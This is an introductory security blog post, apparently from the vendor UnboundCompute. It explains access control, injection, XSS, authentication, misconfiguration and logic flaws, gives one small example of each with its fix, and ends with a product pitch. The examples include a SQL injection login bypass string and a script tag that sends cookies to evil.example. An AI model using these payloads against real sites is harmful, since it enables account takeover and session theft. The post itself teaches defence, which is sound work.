The most common web vulnerabilities are broken access control, injection, cross site scripting, authentication failures, security misconfiguration, and business logic flaws. Those six explain the majority of real breaches you read about. If you are new to security the list of things that can go wrong feels endless, but the same handful of mistakes show up again and again. This post walks through each one in plain words, loosely following the OWASP Top 10, with a tiny example for each.
Why do the most common web vulnerabilities matter more than the rare ones?
They matter more because attackers are practical. They reach for the bugs that are easy to find and pay off fast, which is why the most common web vulnerabilities keep topping every list. Understand these six and you can spot a large share of the types of security vulnerabilities in any app you touch. The table below is the short version.
The bugs that cause the most damage are rarely exotic. They are ordinary mistakes that nobody tested for.
| Vulnerability | What breaks | Typical fix |
|---|---|---|
| Broken access control | You are logged in, but the app never checks that this record is yours | Check ownership on the server for every request |
| Injection | Input is mixed into a query or command and changes what it does | Use parameterized queries so input stays a value |
| Cross site scripting (XSS) | One user’s input runs as code in another user’s browser | Escape output, and set cookies as HttpOnly |
| Authentication failures | The app can be fooled about who you are | Long random tokens, single use and short lived, plus rate limits |
| Security misconfiguration | Defaults and forgotten settings leak detail or expose admin surfaces | Generic errors, private logs, debug off in production |
| Business logic flaws | Every request is valid, but the values or sequence break an assumed rule | Test what happens when the app’s assumptions are false |
What is broken access control?
Broken access control is when the app lets one user reach data or actions that should belong to someone else. The code checks that you are logged in, but forgets to check whether this specific thing is yours.
A tiny example
Say a notes app shows your note here:
GET /api/notes/1042
You change the number by hand:
GET /api/notes/1043
If the server returns someone else’s note, that is broken access control. The app trusted the ID in the request instead of checking that note 1043 belongs to you. This class tops most surveys, and it is easy to miss because every screen looks fine when you test with your own account. The access control category covers how these checks fail and how to test for them.
What is injection?
Injection happens when user input is mixed straight into a command, a query, or a template, so the input can change what that command does. The classic case is SQL injection.
A tiny example
Imagine a login query built by gluing strings together:
SELECT * FROM users WHERE email = '" + email + "'
A visitor types this into the email field:
' OR '1'='1
Now the query always matches, and the attacker is logged in as the first user in the table. The fix is to stop mixing data and code: use parameterized queries. The same idea applies to operating system commands and template engines, and the injection and input category goes through the main flavors and the safe patterns.
What is cross site scripting (XSS)?
XSS is injection aimed at the browser. The app takes input from one user and shows it to another without cleaning it, so it runs as code in the victim’s browser.
A tiny example
A comment box lets you post this:
<script>fetch('https://evil.example/steal?c='+document.cookie)</script>
If the app prints comments back onto the page as raw HTML, everyone who views that comment runs the script, and their session cookie goes to the attacker. The fix is to escape output so <script> shows up as text, and to set cookies as HttpOnly so scripts cannot read them. Our free cookie security auditor checks those flags for you.
What are authentication failures?
Authentication failures cover the ways an app fails to confirm who someone really is: weak passwords allowed, no limit on login attempts, reset tokens that never expire, session IDs that are easy to guess. Our free password strength analyzer shows how length changes survival time against guessing.
A tiny example
An app sends a password reset link with a token in the URL:
https://acme-notes.example/reset?token=100024
The token is just a counter. An attacker requests a reset for their own account, sees token 100024, then tries 100023 and 100025 to hijack other accounts. Reset tokens should be long, random, single use, and short lived, and reset endpoints rate limited so guessing is slow and noisy.
What is security misconfiguration?
Security misconfiguration is when the code is fine and the setup is the problem. Default passwords, debug mode on in production, a storage bucket set to public, an admin panel exposed to the internet, verbose errors that leak stack traces.
A tiny example
A server returns a detailed error:
500 Internal Server Error DBException: connection failed for user 'root' at db-prod-01:5432 Stack trace: /app/services/billing.py line 88 ...
That message hands an attacker the database user, the host, the port, and a map of your code. Show users a generic error, log the detail privately, and turn off debug output before you ship. It is common because it lives in defaults and forgotten settings, not in any line of code you wrote on purpose.
What are business logic flaws?
Business logic flaws are bugs where every individual request is valid, but the sequence or the values break a rule the app assumed nobody would break. There is no special character to escape and no obvious payload; the flaw is in the logic itself.
A tiny example
A checkout flow charges a discount based on a quantity sent by the client:
POST /api/cart/add
{ "item": "license", "quantity": -3, "unit_price": 50 }
Nobody expected a negative quantity, so the total becomes a credit and the customer gets paid to order. Another version: applying the same single use coupon twice by sending two requests at once, before the first marks it as spent. Generic tools rarely catch these, because finding them means understanding what the app should do, then asking what happens when an assumption is false.
How do these classes connect?
They connect by chaining, because most real incidents are a chain rather than a single bug. An attacker might use a misconfiguration leak to learn an internal URL, then broken access control to read another tenant’s records, then a business logic flaw to escalate. Learning them as separate ideas is the start; seeing how they combine is what makes someone good at the work.
- Broken access control: can I reach things that are not mine?
- Injection: is my input being treated as code?
- XSS: can my input run in someone else’s browser?
- Authentication failures: can the app be fooled about who I am?
- Security misconfiguration: is the setup leaking or wide open?
- Business logic flaws: what rule did the app assume I would never break?
Where should you go from here?
Pick one class and practice spotting it in a small app you control, or in the free labs of the Web Security Academy. Change an ID in a URL. Type a quote into a search box and watch the error. Send a negative number where a positive one is expected. The habit is asking what the app assumes, then testing whether that assumption holds.
That last question, what does this app assume and what happens when the assumption is false, is exactly the kind of bug an autonomous researcher that tests assumptions is built to find. UnboundCompute learns how an app is meant to work, forms ideas about where the logic could break, runs experiments, and proves a finding with concrete evidence before reporting it. If that approach interests you, read more on the about page.
Frequently asked questions
What are the most common web application vulnerabilities?
The handful that show up again and again are broken access control, injection, cross site scripting, authentication failures, security misconfiguration, and business logic flaws. Learning these classes explains the majority of real breaches you read about. The OWASP Top 10 tracks this list in detail.
What is the most common serious web vulnerability?
Broken access control tops most surveys. It happens when the app confirms you are logged in but forgets to check whether you are allowed to touch a specific thing, so changing an id like /api/notes/1042 to /api/notes/1043 returns someone else’s data.
What is a business logic flaw and why do scanners miss it?
A business logic flaw is when every individual request is valid but the values or the sequence break a rule the app assumed nobody would break, such as sending a negative quantity at checkout so the total becomes a credit. There is no special character or payload to flag, so generic tools miss it because finding it means understanding what the app is supposed to do.
How do real attackers combine these vulnerabilities?
Most real incidents are a chain, not a single bug. An attacker might use a small leak from a misconfiguration to learn an internal URL, use broken access control to read another tenant’s records, then use a business logic flaw to escalate further.
Put an autonomous researcher on your own systems
UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.